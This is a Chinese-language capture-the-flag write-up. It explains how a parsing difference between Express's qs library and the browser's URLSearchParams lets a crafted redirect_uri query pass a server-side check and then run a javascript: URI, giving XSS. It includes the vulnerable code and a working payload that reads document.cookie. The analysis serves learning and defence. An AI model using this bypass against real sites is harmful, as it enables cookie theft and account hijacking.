Express应⽤预处理特性绕过服务端校验实现XSS

前言

之前推特上的一道题,题目环境:https://pwnbox.xyz/

核心原理就是Express框架中qs库对查询字符串进行预处理时与浏览器原生的URLSearchParams之间存在的解析差异,通过这种差异来绕过服务端的严格校验从而在客户端触发XSS

题目分析

代码如下

const express = require('express');
const app = express();
app.set('query parser', 'extended');

app.get('/', (req, res) => {
    const redirectUri = req.query.redirect_uri;
    if (!redirectUri) {
        return res.send("redirect_uri is required");
    }
    if (redirectUri !== "https://pwnbox.xyz/docs") {
        return res.send("Invalid redirect_uri");
    }
    return res.send(`
        <script>
            var uri = new URLSearchParams(window.location.search).get("redirect_uri");
            location = uri;
        </script>
    `);
});

从请求中提取redirect_uri参数,然后判断该参数是否为空,如果不为空则判断是否等于https://pwnbox.xyz/docs,最后返回一段包含<script>标签的页面

在这个<script>标签里面,使用浏览器原生的URLSearchParamswindow.location.search中提取redirect_uri参数,然后赋值给location触发页面跳转

而这里uri的值是可控的,如果url是javascript:alert(1)这样的javascript协议地址就可以直接进行xss,但是上面是有严格校验的,要求redirect_uri必须是https://pwnbox.xyz/docs

漏洞的突破口就在于客户端和服务端使用了两套不同的查询字符串解析器

解析差异

Express的extended模式

首先来看

app.set('query parser', 'extended');

Express的extended模式意味着使用qs模式来查询字符串

跟进Express的源码(express/lib/utils.js)

function parseExtendedQueryString(str) {
    return qs.parse(str, {
        allowPrototypes: true
    });
}

这里有两个关键点:使用了qs库,并且传入了allowPrototypes: true选项

qs 库的预处理机制

跟进qslib/parse.jsparseValues函数

image-20260303194507463

这段代码在分割和解析字符串之前先对整个字符串进行了一次替换,将%5B替换成[%5D替换成]

然后qs在解析每一段参数时还有一个特殊的key/value分割逻辑

image-20260303195014122

也就是说qs在确定=的分割位置时会优先寻找]=的位置,如果找到了]=就用]=中的=作为key/value的分割点

举个例子,如果传入参数是a]=b,那么key就是a],value就是b

URLSearchParams的行为

浏览器原生的URLSearchParams不做任何预处理,直接按&分割参数,根据第一个=分割key和value

差异总结

key师傅的总结表:

特性 qs(服务端) URLSearchParams(客户端)
预处理 %5B->[ , %5D->]
key/value分割 优先找]=,否则找第一个= 始终用第一个=
bracket语法 a[b]=c → {a: {b: “c”}} a[b]是独立的参数名

漏洞利用

构造payload

根据qs%5D -> ]预处理以及 ]= 优先分割,可以构造

redirect_uri=javascript:alert(document.cookie)//%5D=x&redirect_uri=https://pwnbox.xyz/docs

解析流程

先看服务端的解析流程

qs解析时,先对整个查询字符串做%5D -> ]预处理,那么payload就变成

redirect_uri=javascript:alert(document.cookie)//]=x&redirect_uri=https://pwnbox.xyz/docs

然后按照&分割成两端

第一段:

redirect_uri=javascript:alert(document.cookie)//]=x

qs在这里面搜索]=,找到了//]=x中的]=,然后就以]=中的=作为分割点,那么:

key=redirect_uri=javascript:alert(document.cookie)//]

value=x

但是key不是redirect_uri,所以并不会设置redirect_uri的值

第二段:

redirect_uri=https://pwnbox.xyz/docs

key=redirect_uri

value=https://pwnbox.xyz/docs

满足redirect_uri的值为https://pwnbox.xyz/docs,所以服务端的校验通过,页面返回包含<script>标签的html

然后是客户端的解析流程

浏览器中的URLSearchParams不做%5D预处理直接按照第一个=进行分割

第一段

redirect_uri=javascript:alert(document.cookie)//%5D=x

第一个=在redirect_uri=处,所以

key=redirect_uri

value=javascript:alert(document.cookie)//]=x

第二段

redirect_uri=https://pwnbox.xyz/docs

key=redirect_uri

value=https://pwnbox.xyz/docs

但是URLSearchParams.get()只会返回第一个匹配的值,即javascript:alert(document.cookie)//]=x

所以客户端最终执行的是

location = "javascript:alert(document.cookie)//]=x";

javascript协议会把冒号后面的内容当作JavaScript代码执行,而且//在JS中是行注释符,]=x最终会被注释,实际执行的JS代码其实是alert(document.cookie),可以成功触发XSS

image-20260303202230532